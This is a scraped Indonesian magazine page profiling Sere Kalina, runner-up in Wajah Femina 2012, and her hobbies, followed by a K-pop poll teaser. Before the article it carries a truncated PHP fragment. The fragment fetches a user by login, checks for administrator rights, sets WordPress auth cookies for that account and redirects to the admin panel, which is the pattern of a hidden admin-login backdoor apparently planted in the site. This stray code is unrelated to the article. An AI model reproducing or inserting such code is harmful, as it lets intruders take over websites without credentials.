user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Celebrity
Sere Kalina: Tak Ingin Berhenti Belajar

13 Mar 2013

Dengan cerdas, Sere Kalina Florencia Sitorus (18) mengatur strategi untuk memperbesar peluangnya meraih Pemenang Favorit Wajah Femina 2012. Semua saudara dan teman-teman ia kerahkan untuk memilihnya sebagai finalis favorit. Usahanya juga didukung sang ayah yang meminta teman-temannya memilih putri tercintanya ini. Usahanya berbuah manis. Dari 1.579 voters, sebanyak 387 orang memilihnya sebagai finalis favorit. 

Tapi, gelar Juara II Wajah Femina 2012 yang disematkan juri untuknya menunjukkan bahwa gelar Juara Favorit Wajah Femina 2012 itu diperolehnya bukan semata-mata karena ia punya banyak teman. Ia memang memiliki kualitas bintang yang bersinar terang dan membuatnya layak menjadi juara. “Berhasil menjadi Pemenang II adalah kejutan yang membanggakan,” tuturnya, senang. Itulah kejutan terindah untuknya.

Tak Ingin Berhenti Belajar
Saat tidak ada kuliah atau pemotretan, Sere tidak kehabisan kegiatan. Untuk menyalurkan hobinya bernyanyi, ia juga aktif dalam vocal group di gereja. “Suara saya sopran. Tapi, karena jumlah kami cuma 15-20 orang, kadang-kadang saya juga jadi solis. Lumayanlah, suara saya nggak jelek-jelek amat,” katanya, tersenyum. 
Aktif dalam vocal group di gereja ini dilakoninya sejak kanak-kanak. “Sekarang saya baru bergabung dengan vocal group pemuda. Sebelumnya, saya masih bergabung dalam paduan suara dan kelompok drama anak-anak yang selalu pentas saat Natal,” jelasnya.

Rupanya, ada satu lagi kemahiran yang tak ia tampilkan di hadapan juri Wajah Femina 2012. Sere mengaku, ketimbang menyanyi, ia justru lebih jago menari. “Dari SD saya sudah ikut les tari modern. Lalu, waktu SMP, saya ikut ekstrakurikuler tari Bali. Di keluarga, saya juga diajarkan tarian Batak,” lanjutnya. Tak hanya itu, demam boyband dan girlband Korea yang tengah mewabah juga membuatnya tertarik mempelajari koreografi mereka lewat Youtube.

Tak hanya menyukai musiknya, penggemar boyband Korea Selatan, Bigbang dan JYJ, ini juga belajar bahasa Korea secara serius sejak setahun lalu. “Sekarang sudah hampir level 5. Menurut saya, belajar bahasa apa pun akan berguna karena mempermudah komunikasi dengan orang dari negara lain. Apalagi sekarang kesempatan untuk berkembang secara internasional terbuka lebar. Kalau bisa nantinya saya juga mau belajar  bahasa asing lain, seperti Prancis, Jerman, dan Jepang. Siapa tahu saya bisa bekerja di luar negeri,” katanya. 

Advertisement
Tampaknya, Sere memang tidak bisa diam. Saat di rumah pun, ia sibuk mengerjakan hobi membuat kerajinan tangan cross stitch. “Tangan saya, tuh, suka gatal ingin bikin sesuatu.” Hobi ini sedikit banyak ditularkan dari ibunya yang terlebih dulu keranjingan membuat kerajinan cross stitch. Sere mulai dari membuat benda-benda kecil, seperti pembatas buku sampai lukisan wajah berukuran 30 x 30 cm. Baginya, ada kesenangan tersendiri saat melihat rangkaian benang yang ditusukkan secara menyilang pada kain itu perlahan-lahan membentuk lukisan.

Tak hanya satu jenis kerajinan tangan, ia juga suka membuat notebook dan sedang getol belajar merajut (knitting). “Saya melihat cara membuatnya di Youtube. Kebetulan saya suka koleksi notebook. Lalu saya berpikir, sayang juga beli notebook mahal-mahal kalau modelnya begitu-begitu saja. Akhirnya, saya coba berkreasi sendiri. Caranya sederhana, cuma pakai kertas, benang, dan jarum,” katanya. 

Kalau merajut, ia mengaku baru bisa merajut yang sederhana saja. “Saya belajar dari teman. Maunya, sih, nanti bisa bikin syal, topi, tas, dan lain-lain. Tapi, pelan-pelan saja. Soalnya, saya perlu konsentrasi kalau mau merajut, takut salah,” jelasnya. 
Saking sukanya merajut, ia tidak peduli saat teman-temannya mengomentari, hobinya itu seperti nenek-nenek. “Merajut itu menjadi tempat saya menyalurkan kreativitas. Selain itu, merajut juga seru, sih,” tuturnya, tertawa.

Nuri Fajriati




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?